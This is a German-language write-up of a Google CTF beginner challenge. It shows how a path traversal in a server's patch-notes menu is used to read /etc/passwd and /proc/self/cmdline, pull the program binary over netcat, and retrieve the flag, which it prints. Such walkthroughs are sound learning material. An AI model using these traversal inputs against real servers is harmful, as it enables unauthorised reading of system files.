Google veranstaltet regelmäßig Capture the Flags (CTF). Ziel eines CTF-Spiels ist es, eine Schwachstelle zu finden, diese auszunutzen und ein “Flag” in Erfahrung zu bringen. Das Flag ist meist ein Text mit einer definierten Struktur, mit dem Punkte eingelöst werden. Das Team mit den meisten Punkten gewinnt das Spiel.
Challenge “Beginners Quest – ADMIN UI”
Analyse
Als erstes auf der Konsole mit der Software Netcat eine Verbindung aufbauen.
nc mngmnt-iface.ctfcompetition.com 1337
Dadurch wird eine Verbindung zum Server aufgebaut und automatisch wird ein Programm gestartet, welches auf diesem läuft. Das Programm bietet folgende Funktionen über ein Menü an:
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
Bei der Option “1” wird ein Passwort verlangt, welches wir nicht haben, also wieder zurück.
Please enter the backdoo^Wservice password:
Die Option “2” stellt ein weiteres Menü bereit:
The following patchnotes were found:
- Version0.3
- Version0.2
Which patchnotes should be shown?
Mit der Eingabe “Version0.3” erhalten wir die Patchnotes:
# Version 0.3
- Rollback of version 0.2 because of random reasons
- Blah Blah
- Fix random reboots at 2:32 every second Friday when it's new-moon.
Mit der Eingabe “Version0.2” erhalten wir die Patchnotes:
# Release 0.2
- Updated library X to version 0.Y
- Fixed path traversal bug
- Improved the UX
Let’s go hacking
Bis hierhin kein Problem, wir haben eine Software, die auf einem Server läuft, eine Passworteingabe verlangt, Patchnotes bereitstellt und sich beenden lässt.
Als erstes habe ich ein paar nicht zulässige Eingaben ausprobiert. D.h., anstatt die im Menü vorgegebenen Eingaben habe ich Menüpunkt “4”, “0”, … usw. ausprobiert. Was keinen Erfolg brachte.
Als nächstes habe ich im Untermenü der Patchnotes invalide Eingaben ausprobiert. Folgende Fehlermeldung kam zum Vorschein:
Error: No such file or directory
Daraus lässt sich schließen, dass wahrscheinlich die Patchnotes in Dateien abgelegt sind und das Programm diese öffnet und entsprechend anzeigt.
Durch einen einfachen Test lässt sich herauszufinden, ob das Programm nur den “Dateinamen” oder “Pfad/Dateinamen” zum Öffnen benötigt. Im Untermenü wird folgendes eingegeben:
./Version0.3
Daraufhin wird die Datei Version 0.3 angezeigt.
# Version 0.3
- Rollback of version 0.2 because of random reasons
- Blah Blah
- Fix random reboots at 2:32 every second Friday when it's new-moon.
Bingo ! :) D.h. über die Eingabe ist es möglich, einen Pfad (Path Traversel) anzugeben. Zur Verdeutlichung, was dadurch jetzt möglich ist:
../../../../../../etc/passwd
Ausgabe
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/syn
...
Leider haben wir das Flag noch nicht gefunden und es kann sich überall auf dem Server befinden.
Weitere Informationsbeschaffung
Unter Linux ist es möglich, sich den aktuell laufenden Prozess anzeigen zu lassen. Mittels
/proc/self/cmdline
wird der aktuelle Prozess angezeigt.
- Verbinden mit Netcat
- Menüpunkt “2” aufrufen
- Folgende Eingabe durchführen
../../../../../../../../../../proc/self/cmdline
Ausgabe
./main=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
Der Name der laufenden Applikation lautet “main”.
Programm herunterladen
Auf folgende Art und Weise kann das Programm jetzt vom Server heruntergeladen werden.
echo -e "2\n../main" | nc -v mngmnt-iface.ctfcompetition.com 1337 > admin_ui_file
Befehl/Argument |
Beschreibung |
echo |
Der Befehl “echo” gibt einen Text aus. |
e |
Der Parameter “e” sorgt dafür, dass das Sonderzeichen “\n” interpretiert wird (Enter/Newline). |
| |
Mit der Pipe “|” wird die Ausgabe an das Programm Netcat übergeben, welches sich zum Server verbindet. |
> |
Mit “>” werden alle Ausgaben in eine Datei “admin_ui_file” gespeichert. |
Nach ca. 10 Sekunden mit “STRG + C” den Prozess abbrechen. Lokal sollte jetzt eine Datei vorhanden sein. Der manuelle Abbruch ist notwendig, da die Datei sonst immer weiter wächst. Das Warten auf eine Eingabe auf Seiten des Servers wird ebenfalls in die Datei gespeichert…
Reverse Engineering
Die Datei mit einem Hex-Editor (Bless) öffnen und nach Texten suchen, die hilfreich sein können.
Mit dem String “patchnotes” ergab die Suche einen interessanten Treffer.
Final Step
Im Ordner “patchnotes” liegt eine Datei mit dem Namen “flag”, welche es gilt anzuschauen. Also, auf eine Neues und mit dem Server verbinden, den Menüpunkt “2” wählen und bei der Eingabe “Which patchnotes should be shown?”:
../flag
eingeben. Als Ausgabe erhalten wir unser Flag. :)
CTF{I_luv_buggy_sOFtware}=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit